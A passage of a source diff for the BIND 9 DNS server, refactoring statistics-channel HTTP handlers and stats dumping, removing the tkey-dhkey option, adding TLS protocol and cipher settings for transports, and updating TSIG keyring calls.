-render_json_zones(const char *url, isc_httpdurl_t *urlinfo,
-		  const char *querystring, const char *headers, void *arg,
-		  unsigned int *retcode, const char **retmsg,
+render_json_zones(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		  void *arg, unsigned int *retcode, const char **retmsg,
 		  const char **mimetype, isc_buffer_t *b,
 		  isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_ZONES, url, urlinfo, querystring,
-			    headers, arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_json(STATS_JSON_ZONES, arg, retcode, retmsg, mimetype, b,
+			    freecb, freecb_args));
 }
 
 static isc_result_t
-render_json_mem(const char *url, isc_httpdurl_t *urlinfo,
-		const char *querystring, const char *headers, void *arg,
-		unsigned int *retcode, const char **retmsg,
+render_json_mem(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		void *arg, unsigned int *retcode, const char **retmsg,
 		const char **mimetype, isc_buffer_t *b,
 		isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_MEM, url, urlinfo, querystring, headers,
-			    arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
-}
-
-static isc_result_t
-render_json_tasks(const char *url, isc_httpdurl_t *urlinfo,
-		  const char *querystring, const char *headers, void *arg,
-		  unsigned int *retcode, const char **retmsg,
-		  const char **mimetype, isc_buffer_t *b,
-		  isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_TASKS, url, urlinfo, querystring,
-			    headers, arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_json(STATS_JSON_MEM, arg, retcode, retmsg, mimetype, b,
+			    freecb, freecb_args));
 }
 
 static isc_result_t
-render_json_net(const char *url, isc_httpdurl_t *urlinfo,
-		const char *querystring, const char *headers, void *arg,
-		unsigned int *retcode, const char **retmsg,
+render_json_net(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		void *arg, unsigned int *retcode, const char **retmsg,
 		const char **mimetype, isc_buffer_t *b,
 		isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_NET, url, urlinfo, querystring, headers,
-			    arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_json(STATS_JSON_NET, arg, retcode, retmsg, mimetype, b,
+			    freecb, freecb_args));
 }
 
 static isc_result_t
-render_json_traffic(const char *url, isc_httpdurl_t *urlinfo,
-		    const char *querystring, const char *headers, void *arg,
-		    unsigned int *retcode, const char **retmsg,
+render_json_traffic(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		    void *arg, unsigned int *retcode, const char **retmsg,
 		    const char **mimetype, isc_buffer_t *b,
 		    isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_TRAFFIC, url, urlinfo, querystring,
-			    headers, arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_json(STATS_JSON_TRAFFIC, arg, retcode, retmsg, mimetype,
+			    b, freecb, freecb_args));
 }
 
 #endif /* HAVE_JSON_C */
 
 static isc_result_t
-render_xsl(const char *url, isc_httpdurl_t *urlinfo, const char *querystring,
-	   const char *headers, void *args, unsigned int *retcode,
-	   const char **retmsg, const char **mimetype, isc_buffer_t *b,
-	   isc_httpdfree_t **freecb, void **freecb_args) {
+render_xsl(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo, void *args,
+	   unsigned int *retcode, const char **retmsg, const char **mimetype,
+	   isc_buffer_t *b, isc_httpdfree_t **freecb, void **freecb_args) {
 	isc_result_t result;
-	char *_headers = NULL;
-	char *p;
+	char *p = NULL;
 
-	UNUSED(url);
-	UNUSED(querystring);
+	UNUSED(httpd);
 	UNUSED(args);
 
 	*freecb = NULL;
 	*freecb_args = NULL;
 	*mimetype = "text/xslt+xml";
 
-	if (urlinfo->isstatic) {
-		isc_time_t when;
-		char *line, *saveptr;
-		const char *if_modified_since = "If-Modified-Since: ";
-		_headers = strdup(headers);
+	if (isc_httpdurl_isstatic(urlinfo)) {
+		time_t t1, t2;
+		const isc_time_t *when;
+		const isc_time_t *loadtime;
+
+		when = isc_httpd_if_modified_since(httpd);
 
-		if (_headers == NULL) {
+		if (isc_time_isepoch(when)) {
 			goto send;
 		}
 
-		saveptr = NULL;
-		for (line = strtok_r(_headers, "\n", &saveptr); line;
-		     line = strtok_r(NULL, "\n", &saveptr))
-		{
-			if (strncasecmp(line, if_modified_since,
-					strlen(if_modified_since)) == 0) {
-				time_t t1, t2;
-				line += strlen(if_modified_since);
-				result = isc_time_parsehttptimestamp(line,
-								     &when);
-				if (result != ISC_R_SUCCESS) {
-					goto send;
-				}
-
-				result = isc_time_secondsastimet(&when, &t1);
-				if (result != ISC_R_SUCCESS) {
-					goto send;
-				}
+		result = isc_time_secondsastimet(when, &t1);
+		if (result != ISC_R_SUCCESS) {
+			goto send;
+		}
 
-				result = isc_time_secondsastimet(
-					&urlinfo->loadtime, &t2);
-				if (result != ISC_R_SUCCESS) {
-					goto send;
-				}
+		loadtime = isc_httpdurl_loadtime(urlinfo);
 
-				if (t1 < t2) {
-					goto send;
-				}
+		result = isc_time_secondsastimet(loadtime, &t2);
+		if (result != ISC_R_SUCCESS) {
+			goto send;
+		}
 
-				*retcode = 304;
-				*retmsg = "Not modified";
-				goto end;
-			}
+		if (t1 < t2) {
+			goto send;
 		}
+
+		*retcode = 304;
+		*retmsg = "Not modified";
+		goto end;
 	}
 
 send:
 	*retcode = 200;
 	*retmsg = "OK";
-	DE_CONST(xslmsg, p);
+	p = UNCONST(xslmsg);
 	isc_buffer_reinit(b, p, strlen(xslmsg));
 	isc_buffer_add(b, strlen(xslmsg));
 end:
-	free(_headers);
 	return (ISC_R_SUCCESS);
 }
 
@@ -3621,42 +3088,52 @@ add_listener(named_server_t *server, named_statschannel_t **listenerp,
 			    server);
 	isc_httpdmgr_addurl(listener->httpdmgr, "/xml", false, render_xml_all,
 			    server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/xml/v" STATS_XML_VERSION_MAJOR, false,
 			    render_xml_all, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3/status", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/xml/v" STATS_XML_VERSION_MAJOR "/status", false,
 			    render_xml_status, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3/server", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/xml/v" STATS_XML_VERSION_MAJOR "/server", false,
 			    render_xml_server, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3/zones", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/xml/v" STATS_XML_VERSION_MAJOR "/zones", false,
 			    render_xml_zones, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3/net", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/xml/v" STATS_XML_VERSION_MAJOR "/net", false,
 			    render_xml_net, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3/tasks", false,
-			    render_xml_tasks, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3/mem", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/xml/v" STATS_XML_VERSION_MAJOR "/mem", false,
 			    render_xml_mem, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/xml/v3/traffic", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/xml/v" STATS_XML_VERSION_MAJOR "/traffic", false,
 			    render_xml_traffic, server);
 #endif /* ifdef HAVE_LIBXML2 */
 #ifdef HAVE_JSON_C
 	isc_httpdmgr_addurl(listener->httpdmgr, "/json", false, render_json_all,
 			    server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/json/v" STATS_JSON_VERSION_MAJOR, false,
 			    render_json_all, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1/status", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/json/v" STATS_JSON_VERSION_MAJOR "/status", false,
 			    render_json_status, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1/server", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/json/v" STATS_JSON_VERSION_MAJOR "/server", false,
 			    render_json_server, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1/zones", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/json/v" STATS_JSON_VERSION_MAJOR "/zones", false,
 			    render_json_zones, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1/tasks", false,
-			    render_json_tasks, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1/net", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/json/v" STATS_JSON_VERSION_MAJOR "/net", false,
 			    render_json_net, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1/mem", false,
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/json/v" STATS_JSON_VERSION_MAJOR "/mem", false,
 			    render_json_mem, server);
-	isc_httpdmgr_addurl(listener->httpdmgr, "/json/v1/traffic", false,
-			    render_json_traffic, server);
+	isc_httpdmgr_addurl(listener->httpdmgr,
+			    "/json/v" STATS_JSON_VERSION_MAJOR "/traffic",
+			    false, render_json_traffic, server);
 #endif /* ifdef HAVE_JSON_C */
 	isc_httpdmgr_addurl(listener->httpdmgr, "/bind9.xsl", true, render_xsl,
 			    server);
@@ -3740,7 +3217,7 @@ named_statschannels_configure(named_server_t *server, const cfg_obj_t *config,
 	const cfg_listelt_t *element, *element2;
 	char socktext[ISC_SOCKADDR_FORMATSIZE];
 
-	RUNTIME_CHECK(isc_once_do(&once, init_desc) == ISC_R_SUCCESS);
+	isc_once_do(&once, init_desc);
 
 	ISC_LIST_INIT(new_listeners);
 
@@ -3885,7 +3362,6 @@ named_statschannels_shutdown(named_server_t *server) {
 
 isc_result_t
 named_stats_dump(named_server_t *server, FILE *fp) {
-	isc_stdtime_t now;
 	isc_result_t result;
 	dns_view_t *view;
 	dns_zone_t *zone, *next;
@@ -3896,14 +3372,14 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 	uint64_t zonestat_values[dns_zonestatscounter_max];
 	uint64_t sockstat_values[isc_sockstatscounter_max];
 	uint64_t gluecachestats_values[dns_gluecachestatscounter_max];
+	isc_stdtime_t now = isc_stdtime_now();
 
-	RUNTIME_CHECK(isc_once_do(&once, init_desc) == ISC_R_SUCCESS);
+	isc_once_do(&once, init_desc);
 
 	/* Set common fields */
 	dumparg.type = isc_statsformat_file;
 	dumparg.arg = fp;
 
-	isc_stdtime_get(&now);
 	fprintf(fp, "+++ Statistics Dump +++ (%lu)\n", (unsigned long)now);
 
 	fprintf(fp, "++ Incoming Requests ++\n");
@@ -3922,7 +3398,9 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
-		if (view->resquerystats == NULL) {
+		dns_stats_t *dstats = NULL;
+		dns_resolver_getquerystats(view->resolver, &dstats);
+		if (dstats == NULL) {
 			continue;
 		}
 		if (strcmp(view->name, "_default") == 0) {
@@ -3930,30 +3408,31 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 		} else {
 			fprintf(fp, "[View: %s]\n", view->name);
 		}
-		dns_rdatatypestats_dump(view->resquerystats, rdtypestat_dump,
-					&dumparg, 0);
+		dns_rdatatypestats_dump(dstats, rdtypestat_dump, &dumparg, 0);
+		dns_stats_detach(&dstats);
 	}
 
 	fprintf(fp, "++ Name Server Statistics ++\n");
-	(void)dump_counters(ns_stats_get(server->sctx->nsstats),
-			    isc_statsformat_file, fp, NULL, nsstats_desc,
-			    ns_statscounter_max, nsstats_index, nsstat_values,
-			    0);
+	(void)dump_stats(ns_stats_get(server->sctx->nsstats),
+			 isc_statsformat_file, fp, NULL, nsstats_desc,
+			 ns_statscounter_max, nsstats_index, nsstat_values, 0);
 
 	fprintf(fp, "++ Zone Maintenance Statistics ++\n");
-	(void)dump_counters(server->zonestats, isc_statsformat_file, fp, NULL,
-			    zonestats_desc, dns_zonestatscounter_max,
-			    zonestats_index, zonestat_values, 0);
+	(void)dump_stats(server->zonestats, isc_statsformat_file, fp, NULL,
+			 zonestats_desc, dns_zonestatscounter_max,
+			 zonestats_index, zonestat_values, 0);
 
 	fprintf(fp, "++ Resolver Statistics ++\n");
 	fprintf(fp, "[Common]\n");
-	(void)dump_counters(server->resolverstats, isc_statsformat_file, fp,
-			    NULL, resstats_desc, dns_resstatscounter_max,
-			    resstats_index, resstat_values, 0);
+	(void)dump_stats(server->resolverstats, isc_statsformat_file, fp, NULL,
+			 resstats_desc, dns_resstatscounter_max, resstats_index,
+			 resstat_values, 0);
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
-		if (view->resstats == NULL) {
+		isc_stats_t *istats = NULL;
+		dns_resolver_getstats(view->resolver, &istats);
+		if (istats == NULL) {
 			continue;
 		}
 		if (strcmp(view->name, "_default") == 0) {
@@ -3961,10 +3440,10 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 		} else {
 			fprintf(fp, "[View: %s]\n", view->name);
 		}
-		(void)dump_counters(view->resstats, isc_statsformat_file, fp,
-				    NULL, resstats_desc,
-				    dns_resstatscounter_max, resstats_index,
-				    resstat_values, 0);
+		(void)dump_stats(istats, isc_statsformat_file, fp, NULL,
+				 resstats_desc, dns_resstatscounter_max,
+				 resstats_index, resstat_values, 0);
+		isc_stats_detach(&istats);
 	}
 
 	fprintf(fp, "++ Cache Statistics ++\n");
@@ -4017,7 +3496,15 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
-		if (view->adbstats == NULL) {
+		dns_adb_t *adb = NULL;
+		isc_stats_t *adbstats = NULL;
+
+		dns_view_getadb(view, &adb);
+		if (adb != NULL) {
+			adbstats = dns_adb_getstats(adb);
+			dns_adb_detach(&adb);
+		}
+		if (adbstats == NULL) {
 			continue;
 		}
 		if (strcmp(view->name, "_default") == 0) {
@@ -4025,15 +3512,15 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 		} else {
 			fprintf(fp, "[View: %s]\n", view->name);
 		}
-		(void)dump_counters(view->adbstats, isc_statsformat_file, fp,
-				    NULL, adbstats_desc, dns_adbstats_max,
-				    adbstats_index, adbstat_values, 0);
+		(void)dump_stats(adbstats, isc_statsformat_file, fp, NULL,
+				 adbstats_desc, dns_adbstats_max,
+				 adbstats_index, adbstat_values, 0);
 	}
 
 	fprintf(fp, "++ Socket I/O Statistics ++\n");
-	(void)dump_counters(server->sockstats, isc_statsformat_file, fp, NULL,
-			    sockstats_desc, isc_sockstatscounter_max,
-			    sockstats_index, sockstat_values, 0);
+	(void)dump_stats(server->sockstats, isc_statsformat_file, fp, NULL,
+			 sockstats_desc, isc_sockstatscounter_max,
+			 sockstats_index, sockstat_values, 0);
 
 	fprintf(fp, "++ Per Zone Query Statistics ++\n");
 	zone = NULL;
@@ -4058,10 +3545,10 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 			}
 			fprintf(fp, "]\n");
 
-			(void)dump_counters(zonestats, isc_statsformat_file, fp,
-					    NULL, nsstats_desc,
-					    ns_statscounter_max, nsstats_index,
-					    nsstat_values, 0);
+			(void)dump_stats(zonestats, isc_statsformat_file, fp,
+					 NULL, nsstats_desc,
+					 ns_statscounter_max, nsstats_index,
+					 nsstat_values, 0);
 		}
 	}
 
@@ -4088,11 +3575,11 @@ named_stats_dump(named_server_t *server, FILE *fp) {
 			}
 			fprintf(fp, "]\n");
 
-			(void)dump_counters(
-				gluecachestats, isc_statsformat_file, fp, NULL,
-				gluecachestats_desc,
-				dns_gluecachestatscounter_max,
-				gluecachestats_index, gluecachestats_values, 0);
+			(void)dump_stats(gluecachestats, isc_statsformat_file,
+					 fp, NULL, gluecachestats_desc,
+					 dns_gluecachestatscounter_max,
+					 gluecachestats_index,
+					 gluecachestats_values, 0);
 		}
 	}
 
diff --git a/bin/named/tkeyconf.c b/bin/named/tkeyconf.c
index 0e85814e4a..24acdcd0c2 100644
--- a/bin/named/tkeyconf.c
+++ b/bin/named/tkeyconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,7 +17,7 @@
 
 #include <isc/buffer.h>
 #include <isc/mem.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/string.h>
 
 #include <dns/fixedname.h>
 #include <dns/keyvalues.h>
@@ -46,32 +48,16 @@ named_tkeyctx_fromconfig(const cfg_obj_t *options, isc_mem_t *mctx,
 	isc_result_t result;
 	dns_tkeyctx_t *tctx = NULL;
 	const char *s;
-	uint32_t n;
 	dns_fixedname_t fname;
 	dns_name_t *name;
 	isc_buffer_t b;
 	const cfg_obj_t *obj;
-	int type;
 
 	result = dns_tkeyctx_create(mctx, &tctx);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 
-	obj = NULL;
-	result = cfg_map_get(options, "tkey-dhkey", &obj);
-	if (result == ISC_R_SUCCESS) {
-		s = cfg_obj_asstring(cfg_tuple_get(obj, "name"));
-		n = cfg_obj_asuint32(cfg_tuple_get(obj, "keyid"));
-		isc_buffer_constinit(&b, s, strlen(s));
-		isc_buffer_add(&b, strlen(s));
-		name = dns_fixedname_initname(&fname);
-		RETERR(dns_name_fromtext(name, &b, dns_rootname, 0, NULL));
-		type = DST_TYPE_PUBLIC | DST_TYPE_PRIVATE | DST_TYPE_KEY;
-		RETERR(dst_key_fromfile(name, (dns_keytag_t)n, DNS_KEYALG_DH,
-					type, NULL, mctx, &tctx->dhkey));
-	}
-
 	obj = NULL;
 	result = cfg_map_get(options, "tkey-domain", &obj);
 	if (result == ISC_R_SUCCESS) {
diff --git a/bin/named/transportconf.c b/bin/named/transportconf.c
index ea696af73b..f24aab11dd 100644
--- a/bin/named/transportconf.c
+++ b/bin/named/transportconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -47,6 +49,48 @@
 		}                                                 \
 	}
 
+#define parse_transport_tls_versions(map, transport, name, setter)                \
+	{                                                                         \
+		const cfg_obj_t *obj = NULL;                                      \
+		cfg_map_get(map, name, &obj);                                     \
+		if (obj != NULL) {                                                \
+			{                                                         \
+				uint32_t tls_protos = 0;                          \
+				const cfg_listelt_t *proto = NULL;                \
+				INSIST(obj != NULL);                              \
+				for (proto = cfg_list_first(obj); proto != 0;     \
+				     proto = cfg_list_next(proto))                \
+				{                                                 \
+					const cfg_obj_t *tls_proto_obj =          \
+						cfg_listelt_value(proto);         \
+					const char *tls_sver =                    \
+						cfg_obj_asstring(                 \
+							tls_proto_obj);           \
+					const isc_tls_protocol_version_t ver =    \
+						isc_tls_protocol_name_to_version( \
+							tls_sver);                \
+					INSIST(ver !=                             \
+					       ISC_TLS_PROTO_VER_UNDEFINED);      \
+					INSIST(isc_tls_protocol_supported(        \
+						ver));                            \
+					tls_protos |= ver;                        \
+				}                                                 \
+				if (tls_protos != 0) {                            \
+					setter(transport, tls_protos);            \
+				}                                                 \
+			}                                                         \
+		}                                                                 \
+	}
+
+#define parse_transport_bool_option(map, transport, name, setter)  \
+	{                                                          \
+		const cfg_obj_t *obj = NULL;                       \
+		cfg_map_get(map, name, &obj);                      \
+		if (obj != NULL) {                                 \
+			setter(transport, cfg_obj_asboolean(obj)); \
+		}                                                  \
+	}
+
 static isc_result_t
 add_doh_transports(const cfg_obj_t *transportlist, dns_transport_list_t *list) {
 	const cfg_obj_t *doh = NULL;
@@ -67,14 +111,22 @@ add_doh_transports(const cfg_obj_t *transportlist, dns_transport_list_t *list) {
 		transport = dns_transport_new(&dohname, DNS_TRANSPORT_HTTP,
 					      list);
 
+		dns_transport_set_tlsname(transport, dohid);
 		parse_transport_option(doh, transport, "key-file",
 				       dns_transport_set_keyfile);
 		parse_transport_option(doh, transport, "cert-file",
 				       dns_transport_set_certfile);
-		parse_transport_option(doh, transport, "ca-file",
-				       dns_transport_set_cafile);
-		parse_transport_option(doh, transport, "hostname",
-				       dns_transport_set_hostname);
+		parse_transport_tls_versions(doh, transport, "protocols",
+					     dns_transport_set_tls_versions);
+		parse_transport_option(doh, transport, "ciphers",
+				       dns_transport_set_ciphers);
+		parse_transport_bool_option(
+			doh, transport, "prefer-server-ciphers",
+			dns_transport_set_prefer_server_ciphers)
+			parse_transport_option(doh, transport, "ca-file",
+					       dns_transport_set_cafile);
+		parse_transport_option(doh, transport, "remote-hostname",
+				       dns_transport_set_remote_hostname);
 	}
 
 	return (ISC_R_SUCCESS);
@@ -111,14 +163,22 @@ add_tls_transports(const cfg_obj_t *transportlist, dns_transport_list_t *list) {
 		transport = dns_transport_new(&tlsname, DNS_TRANSPORT_TLS,
 					      list);
 
+		dns_transport_set_tlsname(transport, tlsid);
 		parse_transport_option(tls, transport, "key-file",
 				       dns_transport_set_keyfile);
 		parse_transport_option(tls, transport, "cert-file",
 				       dns_transport_set_certfile);
-		parse_transport_option(tls, transport, "ca-file",
-				       dns_transport_set_cafile);
-		parse_transport_option(tls, transport, "hostname",
-				       dns_transport_set_hostname);
+		parse_transport_tls_versions(tls, transport, "protocols",
+					     dns_transport_set_tls_versions);
+		parse_transport_option(tls, transport, "ciphers",
+				       dns_transport_set_ciphers);
+		parse_transport_bool_option(
+			tls, transport, "prefer-server-ciphers",
+			dns_transport_set_prefer_server_ciphers)
+			parse_transport_option(tls, transport, "ca-file",
+					       dns_transport_set_cafile);
+		parse_transport_option(tls, transport, "remote-hostname",
+				       dns_transport_set_remote_hostname);
 	}
 
 	return (ISC_R_SUCCESS);
@@ -161,10 +221,12 @@ static void
 transport_list_add_ephemeral(dns_transport_list_t *list) {
 	isc_result_t result;
 	dns_name_t tlsname;
+	dns_transport_t *transport;
 
 	create_name("ephemeral", &tlsname);
 
-	(void)dns_transport_new(&tlsname, DNS_TRANSPORT_TLS, list);
+	transport = dns_transport_new(&tlsname, DNS_TRANSPORT_TLS, list);
+	dns_transport_set_tlsname(transport, "ephemeral");
 
 	return;
 failure:
diff --git a/bin/named/tsigconf.c b/bin/named/tsigconf.c
index ef6d91a764..dfeadfd99f 100644
--- a/bin/named/tsigconf.c
+++ b/bin/named/tsigconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,10 +18,10 @@
 #include <isc/base64.h>
 #include <isc/buffer.h>
 #include <isc/mem.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
 #include <dns/tsig.h>
 
 #include <isccfg/cfg.h>
@@ -29,7 +31,7 @@
 #include <named/tsigconf.h>
 
 static isc_result_t
-add_initial_keys(const cfg_obj_t *list, dns_tsig_keyring_t *ring,
+add_initial_keys(const cfg_obj_t *list, dns_tsigkeyring_t *ring,
 		 isc_mem_t *mctx) {
 	dns_tsigkey_t *tsigkey = NULL;
 	const cfg_listelt_t *element;
@@ -37,10 +39,7 @@ add_initial_keys(const cfg_obj_t *list, dns_tsig_keyring_t *ring,
 	const char *keyid = NULL;
 	unsigned char *secret = NULL;
 	int secretalloc = 0;
-	int secretlen = 0;
 	isc_result_t ret;
-	isc_stdtime_t now;
-	uint16_t bits;
 
 	for (element = cfg_list_first(list); element != NULL;
 	     element = cfg_list_next(element))
@@ -48,12 +47,14 @@ add_initial_keys(const cfg_obj_t *list, dns_tsig_keyring_t *ring,
 		const cfg_obj_t *algobj = NULL;
 		const cfg_obj_t *secretobj = NULL;
 		dns_name_t keyname;
-		const dns_name_t *alg;
-		const char *algstr;
+		dst_algorithm_t alg = DST_ALG_UNKNOWN;
+		const char *algstr = NULL;
 		char keynamedata[1024];
 		isc_buffer_t keynamesrc, keynamebuf;
-		const char *secretstr;
+		const char *secretstr = NULL;
 		isc_buffer_t secretbuf;
+		int secretlen = 0;
+		uint16_t bits;
 
 		key = cfg_listelt_value(element);
 		keyid = cfg_obj_asstring(cfg_map_getname(key));
@@ -82,7 +83,8 @@ add_initial_keys(const cfg_obj_t *list, dns_tsig_keyring_t *ring,
 		 */
 		algstr = cfg_obj_asstring(algobj);
 		if (named_config_getkeyalgorithm(algstr, &alg, &bits) !=
-		    ISC_R_SUCCESS) {
+		    ISC_R_SUCCESS)
+		{
 			cfg_obj_log(algobj, named_g_lctx, ISC_LOG_ERROR,
 				    "key '%s': has a "
 				    "unsupported algorithm '%s'",
@@ -101,13 +103,17 @@ add_initial_keys(const cfg_obj_t *list, dns_tsig_keyring_t *ring,
 		}
 		secretlen = isc_buffer_usedlength(&secretbuf);
 
-		isc_stdtime_get(&now);
-		ret = dns_tsigkey_create(&keyname, alg, secret, secretlen,
-					 false, NULL, now, now, mctx, ring,
+		ret = dns_tsigkey_create(&keyname, alg, secret, secretlen, mctx,
 					 &tsigkey);
 		isc_mem_put(mctx, secret, secretalloc);
 		secret = NULL;
+		if (ret == ISC_R_SUCCESS) {
+			ret = dns_tsigkeyring_add(ring, tsigkey);
+		}
 		if (ret != ISC_R_SUCCESS) {
+			if (tsigkey != NULL) {
+				dns_tsigkey_detach(&tsigkey);
+			}
 			goto failure;
 		}
 		/*
@@ -120,21 +126,20 @@ add_initial_keys(const cfg_obj_t *list, dns_tsig_keyring_t *ring,
 	return (ISC_R_SUCCESS);
 
 failure:
-	cfg_obj_log(key, named_g_lctx, ISC_LOG_ERROR,
-		    "configuring key '%s': %s", keyid, isc_result_totext(ret));
-
 	if (secret != NULL) {
 		isc_mem_put(mctx, secret, secretalloc);
 	}
+	cfg_obj_log(key, named_g_lctx, ISC_LOG_ERROR,
+		    "configuring key '%s': %s", keyid, isc_result_totext(ret));
 	return (ret);
 }
 
 isc_result_t
 named_tsigkeyring_fromconfig(const cfg_obj_t *config, const cfg_obj_t *vconfig,
-			     isc_mem_t *mctx, dns_tsig_keyring_t **ringp) {
+			     isc_mem_t *mctx, dns_tsigkeyring_t **ringp) {
 	const cfg_obj_t *maps[3];
 	const cfg_obj_t *keylist;
-	dns_tsig_keyring_t *ring = NULL;
+	dns_tsigkeyring_t *ring = NULL;
 	isc_result_t result;
 	int i;
 
@@ -149,10 +154,7 @@ named_tsigkeyring_fromconfig(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	}
 	maps[i] = NULL;
 
-	result = dns_tsigkeyring_create(mctx, &ring);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_tsigkeyring_create(mctx, &ring);
 
 	for (i = 0;; i++) {
 		if (maps[i] == NULL) {
diff --git a/bin/named/xsl_p.h b/bin/named/xsl_p.h
index d4d8a8ce38..56235349f2 100644
--- a/bin/named/xsl_p.h
+++ b/bin/named/xsl_p.h
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/named/zoneconf.c b/bin/named/zoneconf.c
index 2e05cee6d4..fa34b4c7d4 100644
--- a/bin/named/zoneconf.c
+++ b/bin/named/zoneconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,9 +17,9 @@
 #include <isc/buffer.h>
 #include <isc/file.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/stats.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
@@ -34,7 +36,6 @@
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/sdlz.h>
 #include <dns/ssu.h>
 #include <dns/stats.h>
@@ -131,8 +132,7 @@ configure_zone_acl(const cfg_obj_t *zconfig, const cfg_obj_t *vconfig,
 		aclname = "allow-update-forwarding";
 		break;
 	default:
